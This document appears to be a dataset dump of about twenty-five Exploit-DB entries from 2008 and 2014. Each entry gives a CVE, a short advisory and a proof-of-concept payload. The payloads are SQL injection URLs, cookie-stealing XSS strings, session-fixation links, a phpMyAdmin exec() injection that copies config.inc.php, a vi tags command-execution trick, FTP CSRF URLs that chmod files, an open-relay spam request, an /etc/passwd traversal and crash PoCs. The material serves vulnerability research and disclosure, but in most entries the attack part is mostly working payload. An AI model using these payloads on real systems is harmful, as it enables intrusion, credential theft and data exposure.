QLWD/code_shield huggingface dataset:
标题: xt:Commerce 3.04 - 'XTCsid' Session Fixation EDB-ID: 32406 CVE: 2008-6045 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31313/info
 
xt:Commerce is prone to multiple vulnerabilities, including a session-fixation vulnerability and a cross-site scripting vulnerability.
 
An attacker can leverage the session-fixation issue to hijack a session of an unsuspecting user. The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
xt:Commerce 3.04 is vulnerable; other versions may also be affected.

https://www.example.com/xtcommerce304/shopping_cart.php/XTCsid/15031988 URL: https://www.exploit-db.com/exploits/32406
标题: MapCal 0.1 - 'id' SQL Injection EDB-ID: 32403 CVE: 2008-6038 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31304/info

MapCal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MapCal 0.1 is vulnerable; other versions may also be affected.

http://www.example.com/cms/index.php?action=editevent&id=-0x90+union+select+0x90,0x90,0x90,concat(0x3a,database(),0x3a,version()),0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90+from+events URL: https://www.exploit-db.com/exploits/32403
标题: Multiple Vendor FTP Server - Long Command Handling Security EDB-ID: 32399 CVE: 2008-4247 类型: REMOTE 平台: UNIX 发布日期: 2008-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/31289/info

FTP servers by multiple vendors are prone to a security vulnerability that allows attackers to perform cross-site request-forgery attacks.

Successful exploits can run arbitrary FTP commands on the server in the context of an unsuspecting user's session. This may lead to further attacks. 

ftp://user@example.com////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////syst

ftp://ftp.example.com/////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE URL: https://www.exploit-db.com/exploits/32399
标题: xt:Commerce 3.04 - 'advanced_search_result.php?keywords' Cross-Site Scripting EDB-ID: 32405 CVE: 2008-6044 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31313/info

xt:Commerce is prone to multiple vulnerabilities, including a session-fixation vulnerability and a cross-site scripting vulnerability.

An attacker can leverage the session-fixation issue to hijack a session of an unsuspecting user. The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

xt:Commerce 3.04 is vulnerable; other versions may also be affected.

https://www.example.com/advanced_search_result.php?keywords=/>"<script>alert(15)</script>&x=1&y=1 URL: https://www.exploit-db.com/exploits/32405
标题: PHP Pro Bid 5.2.4/6.04 - Multiple SQL Injections EDB-ID: 32397 CVE: 2008-6043 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/31263/info

PHP Pro Bid is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Pro Bid 6.04 is vulnerable; other versions may also be affected.

http://www.example.com/phpprobidlocation/categories.php?start=0&limit=20&parent_id=669&keywords_cat_search=&buyout_price=&reserve_price=&quantity=&enable_swap=&order_field=(select%201)x&order_type=%20 URL: https://www.exploit-db.com/exploits/32397
标题: eXtrovert software Thyme 1.3 - 'add_calendars.php' Cross-Site Scripting EDB-ID: 32398 CVE: 2008-6404 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/31287/info

Thyme is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Thyme 1.3; other versions may also be affected. 

http://www.example.com/thyme/modules/common_files/add_calendars.php?callback="/></SCRIPT></FORM><SCRIPT>alert(document.cookie)</SCRIPT><SCRIPT><FORM> URL: https://www.exploit-db.com/exploits/32398
标题: Foxmail Email Client 6.5 - 'mailto' Buffer Overflow (PoC) EDB-ID: 32400 CVE: 2008-5839 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31294/info

Foxmail Email Client is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue will allow an attacker to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Foxmail Email Client 6.5 is vulnerable; other versions may also be affected. 

<html> <body> <P>Author:friddy QQ:568623 <P>Result:Program Crash <BR> <A href="mailto:A%...............................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.com">ClickME</a> >Clickme</A> </body> </html> URL: https://www.exploit-db.com/exploits/32400
标题: HyperStop WebHost Directory 1.2 - Database Disclosure EDB-ID: 32395 CVE: 2008-7008 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/31249/info

HyperStop WebHost Directory is reported prone to an information-disclosure vulnerability.

Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database.

HyperStop WebHost Directory 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/backup/db URL: https://www.exploit-db.com/exploits/32395
标题: Fuzzylime (cms) 3.0 - 'usercheck.php' Cross-Site Scripting EDB-ID: 32404 CVE: 2008-3098 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31306/info

fuzzylime (cms) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected site. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to fuzzylime (cms) 3.03 are vulnerable. 

<form method="post" action="http://www.example.com/fuzzylime/admin/usercheck.php"> <input type="hidden" name="log" value="in"> <input type="text" name="user"value='"><script>alert(1)</script>'> <input type=submit></form> URL: https://www.exploit-db.com/exploits/32404
标题: BLUEPAGE CMS 2.5 - 'PHPSESSID' Session Fixation EDB-ID: 32407 CVE: 2008-6039 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31315/info

BLUEPAGE CMS is prone to a session-fixation vulnerability.

Attackers can exploit this issue to hijack a user's session and gain unauthorized access to the affected application.

BLUEPAGE CMS 2.5 is vulnerable; other versions may also be affected.

http://www.example.com/BluePageCMS/?PHPSESSID=15031988 URL: https://www.exploit-db.com/exploits/32407
标题: Unreal Engine - 'UnChan.cpp' Failed Assertion Remote Denial of Service EDB-ID: 32386 CVE: 2008-7011 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/31205/info

Unreal Engine is prone to a remote denial-of-service vulnerability because of an error in memory allocation.

An attacker could exploit this issue to crash applications that use the vulnerable engine and deny service to legitimate users.

The following applications using the engine are vulnerable:

Unreal Tournament 3.1.3
Unreal Tournament 2003
Unreal Tournament 2004
Dead Man's Hand
Pariah
WarPath
Postal 2
Shadow Ops

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32386.zip URL: https://www.exploit-db.com/exploits/32386
标题: Quick CMS Lite 2.1 - 'admin.php' Cross-Site Scripting EDB-ID: 32387 CVE: 2008-4139 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/31210/info

Quick.Cms.Lite is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Quick.Cms.Lite 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?"><script>alert(document.cookie)</script><" URL: https://www.exploit-db.com/exploits/32387
标题: Sun Solaris 9/10 Text Editors - Command Execution EDB-ID: 32393 CVE: 2008-4131 类型: REMOTE 平台: SOLARIS 发布日期: 2008-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/31229/info

Sun Solaris text editors are prone to a command-execution vulnerability.

An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.

Sun Solaris 8, 9, and 10 are affected. 

$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1   tags
$ vi -t file1line1
:q!
$ ls
file1   gotcha   tags
$ URL: https://www.exploit-db.com/exploits/32393
标题: Quick Cart 3.1 - 'admin.php' Cross-Site Scripting EDB-ID: 32389 CVE: 2008-4140 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/31216/info

Quick.Cart is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Quick.Cart 3.1 is vulnerable; other versions may also be affected.

http://www.example.com/admin.php?"><script>alert(document.cookie)</script><" URL: https://www.exploit-db.com/exploits/32389
标题: phpMyAdmin 3.2 - 'server_databases.php' Remote Command Execution EDB-ID: 32383 CVE: 2008-4096 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/31188/info

phpMyAdmin is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

This issue affects versions prior to phpMyAdmin 2.11.9.1.

http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token] URL: https://www.exploit-db.com/exploits/32383
标题: Cars & Vehicle - 'page.php' SQL Injection EDB-ID: 32388 CVE: 2008-4172 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/31214/info

The Cars & Vehicle script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

www.example.com/Script/page.php?lnkid=-1/**/UNION/**/SELECT/**/1,1,1,1,concat_ws(user(),version(),database()),1/* URL: https://www.exploit-db.com/exploits/32388
标题: Accellion File Transfer Appliance Error Report Message - Open Email Relay EDB-ID: 32382 CVE: 2008-7012 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/31178/info

Accellion File Transfer Appliance is prone to an open-email-relay vulnerability.

An attacker could exploit this issue by constructing a script that would send unsolicited spam to an unrestricted amount of email addresses from a forged email address.

This issue affects Accellion File Transfer Appliance prior to FTA_7_0_189.

https://www.example.com/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> HTTP HEADER: Host: [Accelion web server] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv: 1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://[Accelion web server]/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> Content-Type: application/x-www-form-urlencoded Content-Length: 131 POST DATA: description=Could+you+please+close+this+tickets%0D%0A%0D%0ARegards&client_email=email_to_spam% 40victim_domain.com&submit=Soumettre+le+rapport URL: https://www.exploit-db.com/exploits/32382
标题: Avant Browser 11.7 Build 9 - JavaScript Engine Integer Overflow EDB-ID: 32381 CVE: 2008-4166 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/31155/info

Avant Browser is prone to an integer-overflow vulnerability that occurs in the JavaScript engine.

An attacker can exploit this issue by enticing an unsuspecting victim to view a malicious site.

Successfully exploiting this issue may allow attackers to crash the affected application, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Avant Browser 11.7 Build 9 is vulnerable; other versions may also be affected.

NOTE: This vulnerability may be related to the issue described in BID 14917 (Mozilla Browser/Firefox JavaScript Engine Integer Overflow Vulnerability). 

<script>
var s=String.fromCharCode(257);
var a=""; var b="";
for(i=0;i<1024;i++){a=a+s;}
for(i=0;i<1024;i++){b=b+a;}
var ov=s;
for(i=0;i<28;i++) ov += ov;
for(i=0;i<88;i++) ov += b;
alert("0x90");
var Fuck=escape(ov);
alert("0x90 !");
alert(Fuck);
</script> URL: https://www.exploit-db.com/exploits/32381
标题: Linux Kernel 2.6.x - 'add_to_page_cache_lru()' Local Denial of Service EDB-ID: 32384 CVE: 2008-4302 类型: DOS 平台: LINUX 发布日期: 2007-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/31201/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users.

This issue affects versions prior to Linux kernel 2.6.22.2. 

[global]
bs=8k
iodepth=1024
iodepth_batch=60
randrepeat=1
size=1m
directory=/home/oracle
numjobs=20
[job1]
ioengine=sync
bs=1k
direct=1
rw=randread
filename=file1:file2
[job2]
ioengine=libaio
rw=randwrite
direct=1
filename=file1:file2
[job3]
bs=1k
ioengine=posixaio
rw=randwrite
direct=1
filename=file1:file2
[job4]
ioengine=splice
direct=1
rw=randwrite
filename=file1:file2
[job5]
bs=1k
ioengine=sync
rw=randread
filename=file1:file2
[job7]
ioengine=libaio
rw=randwrite
filename=file1:file2
[job8]
ioengine=posixaio
rw=randwrite
filename=file1:file2
[job9]
ioengine=splice
rw=randwrite
filename=file1:file2
[job10]
ioengine=mmap
rw=randwrite
bs=1k
filename=file1:file2
[job11]
ioengine=mmap
rw=randwrite
direct=1
filename=file1:file2 URL: https://www.exploit-db.com/exploits/32384
标题: Paranews 3.4 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32365 CVE: 2008-4349 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/31152/info

Paranews is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Paranews 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/news.php?pn_go=details&page=[XSS]&id=[XSS] URL: https://www.exploit-db.com/exploits/32365
标题: McAfee Asset Manager 6.6 - Multiple Vulnerabilities EDB-ID: 32368 CVE: 2014-2588 2014-2587 2014-2586 类型: WEBAPPS 平台: JSP 发布日期: 2014-03-19 漏洞利用脚本: Cloud SSO is vuln to unauthed XSS in the authentication audit form:

https://twitter.com/BrandonPrry/status/445969380656943104

McAfee Asset Manager v6.6 multiple vulnerabilities

http://www.mcafee.com/us/products/asset-manager.aspx

Authenticated arbitrary file read
An unprivileged authenticated user can download arbitrary files with the permissions of the web server using the report download functionality.
By generating a report, the user's browser will make a request to /servlet/downloadReport?reportFileName=blah. The user can put in a relative directory traversal attack and download /etc/passwd.

GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwd&format=CSV HTTP/1.1
Host: 172.31.16.167
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.167/Inventory?filterColumns=&curViewId=-1&maintainQuery=true&format=search&collectorId=null&criticality=0&pageNum=1&location=Inventory&viewSelect=-999999&filterValueField=&orderBy=FIREWALLED&orderBy2=SITE&orderBy3=CRITICALITY_NAME&wsz=200&wszCtrl_1=200&action=AUDIT_REDISCOVER&formatSelect=
Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
Connection: keep-alive


Authenticated SQL injection

An unprivileged authenticated user can initiate a SQL injection attack by creating an audit report and controlling the username specified in the audit report. In the below request, the 'user' parameter is susceptible to the SQL injection:

POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
Host: 172.31.16.167
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.167/jsp/reports/ReportsAudit.jsp
Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

fromDate=03-19-2014&toDate=03-19-2014&freetext=&Severity=0&AuditType=12&user=Administrator


-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website URL: https://www.exploit-db.com/exploits/32368
标题: Unreal Engine 3 - Failed Memory Allocation Remote Denial of Service EDB-ID: 32362 CVE: 2008-7015 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/31140/info

Unreal Engine is prone to a remote denial-of-service vulnerability because of an error in memory allocation.

An attacker could exploit this issue to crash applications that use the vulnerable engine and deny service to legitimate users.

This issue affects Unreal Engine 3; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32362.zip URL: https://www.exploit-db.com/exploits/32362
标题: Nooms 1.1 - 'smileys.php?page_id' Cross-Site Scripting EDB-ID: 32360 CVE: 2008-4179 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/31131/info

NooMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

NooMS 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/smileys.php?page_id=<script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/32360
标题: SePortal 2.5 - SQL Injection (2) EDB-ID: 32359 CVE: 2008-5191 类型: REMOTE 平台: PHP 发布日期: 2014-03-19 漏洞利用脚本: ####################################################################
Exploit: SePortal 2.5 Sql Injection Vulnerabilty
Author: jsass
Date  : 19\03\2014
Contact Twitter: @Kwsecurity
Script: http://www.seportal.org/
version: 2.5
Tested on: Linux Ubuntu 12.4 & Windows 7
Dork : "Powered by SePortal 2.5"

//** Searching And  Analysis By Kuwaity Crew **\\

####################################################################
      SQL INJECTION Vulnerabilty

       code :
 $main_template = 'staticpages';

define('GET_CACHES', 1);
define('ROOT_PATH', './');
define('GET_USER_ONLINE', 1);
define('GET_STATS_BOX', 1);
include(ROOT_PATH.'global.php');
require(ROOT_PATH.'includes/sessions.php');

  $sql = "SELECT *
          FROM ".STATICPAGE_TABLE."
          WHERE sp_id = '".$sp_id."'";
  $result = $site_db->query($sql);

      files:
  staticpages.php?sp_id=(inject here)
  print.php?mode=staticpage&client=printer&sp_id=(inject here)

example:

http://localhost/seportal2.5/staticpages.php?sp_id=1%27%20%20and+extractvalue%28rand%28%29,concat%280x7e,version%28%29%29%29--%20-

//////////////////////////////////////////////////////////////////////////////////
     
     
               
               
 Greats: dzkabyle & Mr.Exit & massacreur & rDNix & hamza & Q8 Spy & الشبح الدموي & medo medo & sec4ever.com & is-sec.com URL: https://www.exploit-db.com/exploits/32359
标题: Nooms 1.1 - 'search.php?q' Cross-Site Scripting EDB-ID: 32361 CVE: 2008-4179 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/31131/info
 
NooMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
NooMS 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?q="<script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/32361